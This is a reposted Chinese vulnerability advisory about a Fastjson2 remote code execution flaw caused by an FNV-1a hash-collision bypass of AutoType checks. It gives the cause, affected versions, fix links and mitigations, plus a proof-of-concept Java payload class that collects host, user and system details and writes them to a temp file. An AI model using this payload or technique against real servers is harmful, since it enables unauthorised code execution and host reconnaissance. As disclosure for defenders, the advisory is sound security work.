转载自微信公众号,作者:长亭安全应急响应中心 | 原文:点击查看

Fastjson2 是阿里巴巴开源的 Java JSON 解析库重构升级版,凭借其高性能和简洁的 API 在国内 Java 生态中占据主导地位,广泛应用于企业后端服务、微服务网关、数据接口层等核心场景。
2026 年 7 月,长亭应急响应实验室安全研究员原创发现并上报Fastjson2存在一个全JDK版本通杀的远程代码执行漏洞。攻击者仅需控制 JSON 请求体,无需目标系统存在任何已知危险类,即可触发 RCE。目前官方已发布修复commit,建议受影响用户尽快应用修复补丁或实施缓解措施。
漏洞描述
漏洞成因
该漏洞源于Fastjson2 在默认配置下未启用SupportAutoType 时,仍可能处理通用对象元素开头@type 属性。其“AutoType 已禁用”校验分支会将输入字符串的增量 FNV-1a 哈希与默认接受哈希进行匹配,但命中后不会确认实际文本是否等于预期的白名单类名。因此,攻击者可以针对任意前缀计算FNV chosen-prefix 碰撞,使 URL 形态的字符串进入应用的上下文类加载器,导致任意代码执行。
漏洞影响
攻击者可在服务器上执行任意代码,可能导致服务器被完全控制、数据泄露或业务系统沦陷。
处置优先级:高
漏洞类型:远程代码执行
漏洞危害等级:高
触发方式:网络远程
权限认证要求:无需权限
系统配置要求:默认配置
用户交互要求:无需用户交互
利用成熟度:POC 未公开
修复复杂度:低,官方已发布修复补丁
影响版本
Fastjson <= 2.0.62
漏洞复现
漏洞原理,直接直接把PR拉过来,然后让AI分析,在此不再累赘。
POC获取基本信息:
package poc;
import java.net.InetAddress;
public class Payload {
public Payload() {
String info = collect();
try {
java.io.FileWriter w = new java.io.FileWriter(
System.getProperty("java.io.tmpdir") + "/STRICT_RCE_PROOF.txt");
w.write(info + "\n");
w.close();
} catch (Exception e) { /* ignore, still throw below */ }
throw new RuntimeException("RCE-PROOF: " + info);
}
private static String collect() {
StringBuilder sb = new StringBuilder();
try {
InetAddress addr = InetAddress.getLocalHost();
sb.append("hostname=").append(addr.getHostName());
sb.append(" ip=").append(addr.getHostAddress());
} catch (Exception e) {
sb.append("hostname=<unknown> ip=<unknown>");
}
sb.append(" user=").append(System.getProperty("user.name"));
sb.append(" pid=").append(ProcessHandle.current().pid());
sb.append(" os=").append(System.getProperty("os.name"))
.append(' ').append(System.getProperty("os.arch"));
sb.append(" javaVersion=").append(System.getProperty("java.version"));
sb.append(" cwd=").append(System.getProperty("user.dir"));
return sb.toString();
}
}
FNV-1a 哈希碰撞

验证:

解决方案
官方已更新修复补丁,参考链接:
https://github.com/alibaba/fastjson2/pull/7695/changes
我向fastjson提了issues,官网暂未发布修复版本,可以考虑采取缓解措施:
https://github.com/alibaba/fastjson2/issues/7702
临时缓解方案
- 完全禁用 AutoType:开启 SafeMode 或使用noneautotype版本来完全禁用 AutoType 功能,从根本上杜绝此类风险。
代码配置:ParserConfig.getGlobalInstance().setSafeMode(true);
JVM 参数:-Dfastjson.parser.safeMode=true
- WAF规则配置:拦截请求体中key包含 @type 字段的 JSON 数据。
针对此安全漏洞,官网目前的解答:
https://github.com/alibaba/fastjson2/issues/7702,建议JVM增加参数缓解
JAVA安全网